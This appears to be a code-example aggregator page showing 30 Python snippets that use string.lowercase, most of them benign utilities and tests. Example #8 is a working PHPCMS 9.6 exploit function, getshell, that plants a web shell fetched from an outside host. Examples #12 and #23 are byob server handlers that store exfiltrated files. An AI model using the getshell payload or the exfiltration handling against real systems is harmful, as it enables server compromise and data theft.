Python string.lowercase() Examples

The following are 30 code examples of string.lowercase(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module string , or try the search function .
Example #1
Source File: texi2html.py    From oss-ftp with MIT License 6 votes vote down vote up
def increment(s):
    if not s:
        return '1'
    for sequence in string.digits, string.lowercase, string.uppercase:
        lastc = s[-1]
        if lastc in sequence:
            i = sequence.index(lastc) + 1
            if i >= len(sequence):
                if len(s) == 1:
                    s = sequence[0]*2
                    if s == '00':
                        s = '10'
                else:
                    s = increment(s[:-1]) + sequence[0]
            else:
                s = s[:-1] + sequence[i]
            return s
    return s # Don't increment 
Example #2
Source File: pattern.py    From security-scripts with GNU General Public License v2.0 6 votes vote down vote up
def pattern_gen(length):
    """
    Generate a pattern of a given length up to a maximum
    of 20280 - after this the pattern would repeat
    """
    if length >= MAX_PATTERN_LENGTH:
        print 'ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH
        sys.exit(1)

    pattern = ''
    for upper in uppercase:
        for lower in lowercase:
            for digit in digits:
                if len(pattern) < length:
                    pattern += upper+lower+digit
                else:
                    out = pattern[:length]
                    print out
                    return 
Example #3
Source File: texi2html.py    From datafari with Apache License 2.0 6 votes vote down vote up
def increment(s):
    if not s:
        return '1'
    for sequence in string.digits, string.lowercase, string.uppercase:
        lastc = s[-1]
        if lastc in sequence:
            i = sequence.index(lastc) + 1
            if i >= len(sequence):
                if len(s) == 1:
                    s = sequence[0]*2
                    if s == '00':
                        s = '10'
                else:
                    s = increment(s[:-1]) + sequence[0]
            else:
                s = s[:-1] + sequence[i]
            return s
    return s # Don't increment 
Example #4
Source File: recipe-578396.py    From code with MIT License 6 votes vote down vote up
def main(argv):

	if (len(sys.argv) != 5):
		sys.exit('Usage: simple_pass.py <upper_case> <lower_case> <digit> <special_characters>')
    
	password = ''
	
	for i in range(len(argv)):
		for j in range(int(argv[i])):
			if i == 0:
				password += string.uppercase[random.randint(0,len(string.uppercase)-1)]
			elif i == 1:
				password += string.lowercase[random.randint(0,len(string.lowercase)-1)]
			elif i == 2:
				password += string.digits[random.randint(0,len(string.digits)-1)]
			elif i == 3:
				password += string.punctuation[random.randint(0,len(string.punctuation)-1)]
	
	print 'You new password is: ' + ''.join(random.sample(password,len(password))) 
Example #5
Source File: common.py    From stdm with GNU General Public License v2.0 6 votes vote down vote up
def computeSize(self, *args):
        barWidth = self.barWidth
        oa, oA = ord('a') - 1, ord('A') - 1

        w = 0.0

        for c in self.decomposed:
            oc = ord(c)
            if c in string.lowercase:
                w = w + barWidth * (oc - oa)
            elif c in string.uppercase:
                w = w + barWidth * (oc - oA)

        if self.barHeight is None:
            self.barHeight = w * 0.15
            self.barHeight = max(0.25 * inch, self.barHeight)

        if self.quiet:
            w += self.lquiet + self.rquiet

        self._height = self.barHeight
        self._width = w 
Example #6
Source File: syntax.py    From hask with BSD 2-Clause "Simplified" License 6 votes vote down vote up
def __call__(self, *typeargs):
        if len(typeargs) < 1:
            msg = "Missing type args in statement: `data.%s()`" % self.name
            raise SyntaxError(msg)

        # make sure all type params are strings
        if not all((type(arg) == str for arg in typeargs)):
            raise SyntaxError("Type parameters must be strings")

        # make sure all type params are letters only
        is_letters = lambda xs: all((x in string.lowercase for x in xs))
        if not all((is_letters(arg) for arg in typeargs)):
            raise SyntaxError("Type parameters must be lowercase letters")

        # all type parameters must have unique names
        if len(typeargs) != len(set(typeargs)):
            raise SyntaxError("Type parameters are not unique")

        return __new_tcon_hkt__(self.name, typeargs) 
Example #7
Source File: strings.py    From yaql with Apache License 2.0 6 votes vote down vote up
def to_lower(string):
    """:yaql:toLower

    Returns a string with all case-based characters lowercase.

    :signature: string.toLower()
    :receiverArg string: value to lowercase
    :argType string: string
    :returnType: string

    .. code::

        yaql> "AB1c".toLower()
        "ab1c"
    """
    return string.lower() 
Example #8
Source File: phpcms_v9_6.py    From PocCollect with MIT License 6 votes vote down vote up
def getshell(self,host):
        try:
            url = '%s/index.php?m=member&amp;c=index&amp;a=register&amp;siteid=1' % host
            flag = ''.join([random.choice(string.lowercase) for _ in range(8)])
            flags = ''.join([random.choice(string.digits) for _ in range(8)])
            headers = {
            'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Encoding':'gzip, deflate',
            'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
            'Upgrade-Insecure-Requests':'1',
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0'}
            data = "siteid=1&amp;modelid=11&amp;username={}&amp;password=ad{}min&amp;email={}@cnnetarmy.com&amp;info%5Bcontent%5D=%3Cimg%20src=http://www.cnnetarmy.com/soft/shell.txt?.php#.jpg&gt;&amp;dosubmit=1&amp;protocol=".format(flag,flags,flag)
            r = requests.post(url=url,headers=headers,data=data,timeout=5)
            #print r.content
            shell_path = re.findall(r'lt;img src=(.*?)&gt;',str(r.content))[0]
            print '[*] shell: %s  | pass is: cmd' % shell_path
            with open('sql_ok.txt','a')as tar:
                tar.write(shell_path)
                tar.write('\n')
        except:
            print 'requests error.'
            pass 
Example #9
Source File: dir_vol_download.py    From libvirt-test-API with GNU General Public License v2.0 6 votes vote down vote up
def write_file(path, capacity):
    """write test data to file
    """
    logger.info("write %s data into file %s" % (capacity, path))
    out = utils.get_capacity_suffix_size(capacity)
    f = open(path, 'w')
    if sys.version_info[0] < 3:
        datastr = ''.join(string.lowercase + string.uppercase +
                          string.digits + '.' + '\n')
    else:
        datastr = ''.join(string.ascii_lowercase + string.ascii_uppercase +
                          string.digits + '.' + '\n')
    repeat = int(out['capacity_byte'] / 64)
    data = ''.join(repeat * datastr)
    f.write(data)
    f.close() 
Example #10
Source File: httpServerLogParser.py    From phpsploit with GNU General Public License v3.0 6 votes vote down vote up
def getLogLineBNF():
    global logLineBNF
    
    if logLineBNF is None:
        integer = Word( nums )
        ipAddress = delimitedList( integer, ".", combine=True )
        
        timeZoneOffset = Word("+-",nums)
        month = Word(string.uppercase, string.lowercase, exact=3)
        serverDateTime = Group( Suppress("[") + 
                                Combine( integer + "/" + month + "/" + integer +
                                        ":" + integer + ":" + integer + ":" + integer ) +
                                timeZoneOffset + 
                                Suppress("]") )
                         
        logLineBNF = ( ipAddress.setResultsName("ipAddr") + 
                       Suppress("-") +
                       ("-" | Word( alphas+nums+"@._" )).setResultsName("auth") +
                       serverDateTime.setResultsName("timestamp") + 
                       dblQuotedString.setResultsName("cmd").setParseAction(getCmdFields) +
                       (integer | "-").setResultsName("statusCode") + 
                       (integer | "-").setResultsName("numBytesSent")  + 
                       dblQuotedString.setResultsName("referrer").setParseAction(removeQuotes) +
                       dblQuotedString.setResultsName("clientSfw").setParseAction(removeQuotes) )
    return logLineBNF 
Example #11
Source File: parsers.py    From OpenMTC with Eclipse Public License 1.0 6 votes vote down vote up
def int2base(x, base):
        import string

        digs = string.digits + string.lowercase
        if x < 0:
            sign = -1
        elif x == 0:
            return '0'
        else:
            sign = 1
        x *= sign
        digits = []
        while x:
            digits.append(digs[x % base])
            x /= base
        if sign < 0:
            digits.append('-')
        digits.reverse()
        return ''.join(digits) 
Example #12
Source File: handler.py    From byob with GNU General Public License v3.0 5 votes vote down vote up
def do_POST(self):
		"""
		Handle incoming HTTP POST request

		"""
		self._set_headers()
		self.data_string = self.rfile.read(int(self.headers['Content-Length']))
		self.send_response(200)
		self.end_headers()

		json_data = json.loads(self.data_string)

		b64_data = json_data.get('data')
		ftype = json_data.get('type')

		data = base64.b64decode(b64_data)

		output_dir = 'output'
		if not os.path.isdir(output_dir):
			os.makedirs(output_dir)

		fname = str().join([random.choice(string.lowercase + string.digits) for _ in range(3)]) + '.' + ftype
		output_path = os.path.join(output_dir, fname)

		with open(output_path, 'wb') as fp:
			fp.write(data) 
Example #13
Source File: test_centrifugation.py    From pipeline with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def setUp(self):
        self.conn = psycopg2.connect(dsn=PG)
        self.table = "tmptbl" + "".join(
            random.choice(string.lowercase) for _ in xrange(6)
        ) 
Example #14
Source File: wifi.py    From boardfarm with BSD 3-Clause Clear License 5 votes vote down vote up
def randomSSIDName():
    return 'wifi-' + ''.join(random.sample(string.lowercase+string.digits,10)) 
Example #15
Source File: passgen.py    From BruteforceHTTP with GNU General Public License v3.0 5 votes vote down vote up
def toggle_case(text):
	# https://stackoverflow.com/a/29184387
	# Generate dict; keys = lower characters and values = upper characters
	text, SUBSTITUTIONS = text.lower(), dict(zip(string.lowercase, string.uppercase))
	
	from itertools import product
	possibilities = [c + SUBSTITUTIONS.get(c, "") for c in text]
	for subbed in product(*possibilities):
		yield "".join(subbed) 
Example #16
Source File: test_string.py    From medicare-demo with Apache License 2.0 5 votes vote down vote up
def test_attrs(self):
        string.whitespace
        string.lowercase
        string.uppercase
        string.letters
        string.digits
        string.hexdigits
        string.octdigits
        string.punctuation
        string.printable 
Example #17
Source File: test_string.py    From gcblue with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def test_attrs(self):
        string.whitespace
        string.lowercase
        string.uppercase
        string.letters
        string.digits
        string.hexdigits
        string.octdigits
        string.punctuation
        string.printable 
Example #18
Source File: av_bench.py    From spavro with Apache License 2.0 5 votes vote down vote up
def rand_name():
    return ''.join(sample(lowercase, 15)) 
Example #19
Source File: fp_tree.py    From pyFP-Tree with MIT License 5 votes vote down vote up
def stats(filename):#calculate purchased times of every items
	for line in filename:
		for element in line:
			for character in string.lowercase:
				if(element==character):
					temp=ord(character)-97
					sample_list[temp]=sample_list[temp]+1
	return sample_list 
Example #20
Source File: helpers_test.py    From winnaker with MIT License 5 votes vote down vote up
def test_get_env():
    random_string = ''.join(random.choice(string.lowercase) for i in range(15))
    print "Random String: {}".format(random_string)
    os.environ["WINNAKER_TEST_ENV_VAR"] = "testingtesting"
    assert get_env("WINNAKER_TEST_ENV_VAR",
                   "nottherightthing") == "testingtesting"
    assert get_env(random_string, "thedefault") == "thedefault"
    return True 
Example #21
Source File: core.py    From VN_IME with GNU General Public License v3.0 5 votes vote down vote up
def _accepted_chars(rules):
    if sys.version_info[0] > 2:
        ascii_letters = \
            string.ascii_letters
    else:
        ascii_letters = \
            string.lowercase + \
            string.uppercase

    return set(ascii_letters + ''.join(rules.keys()) + utils.VOWELS + "đ") 
Example #22
Source File: testPublishers.py    From script.service.kodi.callbacks with GNU General Public License v3.0 5 votes vote down vote up
def logSimulate():
        import random, string
        randomstring = ''.join(random.choice(string.lowercase) for _ in range(30)) + '\n'
        targetstring = '%s%s%s' % (randomstring[:12], 'kodi_callbacks', randomstring[20:])
        for i in xrange(0, 10):
            with open(testLog.fn, 'a') as f:
                if i == 5:
                    f.writelines(targetstring)
                else:
                    f.writelines(randomstring)
            time.sleep(0.25) 
Example #23
Source File: handler.py    From byob with GNU General Public License v3.0 5 votes vote down vote up
def do_POST(self):
		"""
		Handle incoming HTTP POST request

		"""
		self._set_headers()
		self.data_string = self.rfile.read(int(self.headers['Content-Length']))
		self.send_response(200)
		self.end_headers()

		json_data = json.loads(self.data_string)

		b64_data = json_data.get('data')
		filetype = json_data.get('type')
		owner = json_data.get('owner')
		module = json_data.get('module')
		session = json_data.get('session')
		filename = json_data.get('filename')

		# decode any base64 values
		data = base64.b64decode(b64_data)
		if session.startswith('_b64'):
			session = base64.b64decode(session[6:]).decode('ascii')

		# add . to file extension if necessary
		if not filetype.startswith('.'):
			filetype = '.' + filetype

		# generate random filename if not specified
		if not filename:
			filename = str().join([random.choice(string.lowercase + string.digits) for _ in range(3)]) + filetype

		output_path = os.path.join(OUTPUT_DIR, owner, 'files', filename)

		# add exfiltrated file to database via internal API call
		requests.post("http://0.0.0.0/api/file/add", {"filename": filename, "owner": owner, "module": module, "session": session})

		# save exfiltrated file to user directory
		with open(output_path, 'wb') as fp:
			fp.write(data) 
Example #24
Source File: dir_vol_wipe_pattern.py    From libvirt-test-API with GNU General Public License v2.0 5 votes vote down vote up
def write_file(path, capacity):
    """write test data to file
    """
    logger.info("write %s data into file %s" % (capacity, path))
    out = utils.get_capacity_suffix_size(capacity)
    f = open(path, 'w')
    datastr = ''.join(string.lowercase + string.uppercase +
                      string.digits + '.' + '\n')
    repeat = out['capacity_byte'] / 64
    data = ''.join(repeat * datastr)
    f.write(data)
    f.close() 
Example #25
Source File: dir_vol_upload.py    From libvirt-test-API with GNU General Public License v2.0 5 votes vote down vote up
def write_file(path):
    """write 1M test data to file
    """
    logger.info("write data into file %s" % path)
    f = open(path, 'w')
    if sys.version_info[0] < 3:
        datastr = ''.join(string.lowercase + string.uppercase +
                          string.digits + '.' + '\n')
    else:
        datastr = ''.join(string.ascii_lowercase + string.ascii_uppercase +
                          string.digits + '.' + '\n')
    data = ''.join(16384 * datastr)
    f.write(data)
    f.close() 
Example #26
Source File: logical_vol_upload.py    From libvirt-test-API with GNU General Public License v2.0 5 votes vote down vote up
def write_file(path):
    """write 1M test data to file
    """
    logger.info("write 1M data into file %s" % path)
    f = open(path, 'w')
    if sys.version_info[0] < 3:
        datastr = ''.join(string.lowercase + string.uppercase +
                          string.digits + '.' + '\n')
    else:
        datastr = ''.join(string.ascii_lowercase + string.ascii_uppercase +
                          string.digits + '.' + '\n')
    data = ''.join(16384 * datastr)
    f.write(data)
    f.close() 
Example #27
Source File: logical_vol_download.py    From libvirt-test-API with GNU General Public License v2.0 5 votes vote down vote up
def write_file(path, capacity):
    """write test data to file
    """
    logger.info("write %sM data into file %s" % (capacity, path))
    f = open(path, 'w')
    if sys.version_info[0] < 3:
        datastr = ''.join(string.lowercase + string.uppercase +
                          string.digits + '.' + '\n')
    else:
        datastr = ''.join(string.ascii_lowercase + string.ascii_uppercase +
                          string.digits + '.' + '\n')
    repeat = int(capacity / 64)
    data = ''.join(repeat * datastr)
    f.write(data)
    f.close() 
Example #28
Source File: win.py    From luci-py with Apache License 2.0 5 votes vote down vote up
def _get_mount_points():
  """Returns the list of 'fixed' drives in format 'X:\\'."""
  ctypes.windll.kernel32.GetDriveTypeW.argtypes = (ctypes.c_wchar_p,)
  ctypes.windll.kernel32.GetDriveTypeW.restype = ctypes.c_ulong
  DRIVE_FIXED = 3
  # https://msdn.microsoft.com/library/windows/desktop/aa364939.aspx
  return [
      u'%s:\\' % letter
      for letter in string.lowercase
      if ctypes.windll.kernel32.GetDriveTypeW(letter + ':\\') == DRIVE_FIXED
  ] 
Example #29
Source File: rand.py    From WAScan with GNU General Public License v3.0 5 votes vote down vote up
def r_string(n):
	""" random strings """
	return "".join([choice(uppercase+lowercase) for _ in xrange(0,int(n))]) 
Example #30
Source File: rand.py    From Galileo with GNU General Public License v3.0 5 votes vote down vote up
def rand_all(lenght):
	return ''.join(choice(lowercase+digits+uppercase) for i in range(lenght))